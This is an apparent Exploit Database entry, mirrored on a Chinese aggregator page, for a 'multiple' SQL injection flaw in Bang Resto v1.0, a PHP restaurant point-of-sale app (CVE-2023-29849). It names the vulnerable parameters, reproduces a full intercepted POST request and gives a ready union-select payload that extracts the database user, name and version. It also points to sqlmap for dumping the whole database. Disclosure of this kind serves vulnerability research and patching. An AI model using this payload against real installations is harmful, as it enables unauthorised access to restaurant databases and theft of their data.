Bang Resto v1.0 – ‘Multiple’ SQL Injection

• Exploit Database
• 33 阅读

• 作者： Rahad Chowdhury
  日期： 2023-04-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51378/

• # Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
  # Date: 2023-04-02
  # Exploit Author: Rahad Chowdhury
  # Vendor Homepage:
  https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
  # Software Link:
  https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
  # Version: 1.0
  # Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
  # CVE: CVE-2023-29849
  
  *Affected Parameters:*
  btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
  itemqty[], btnMenuItemID
  
  *Steps to Reproduce:*
  1. First login your staff panel.
  2. then go to "order" menu and Select menu then create order and intercept
  request data using burp suite.
  so your request data will be:
  
  POST /bangresto/staff/displayitem.php HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
  Gecko/20100101 Firefox/111.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 194
  Origin: http://127.0.0.1
  Referer: http://127.0.0.1/bangresto/staff/order.php
  Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
  Connection: close
  
  btnMenuItemID=1&qty=1
  
  3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
  SQL Injection use this query ".1 union select
  1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x44617461626173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x56657273696f6e3a3a3a3a20,VERSION())--
  -" in "btnMenuItemID" parameter.
  4. Check browser you will see user, database and version informations.
  5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite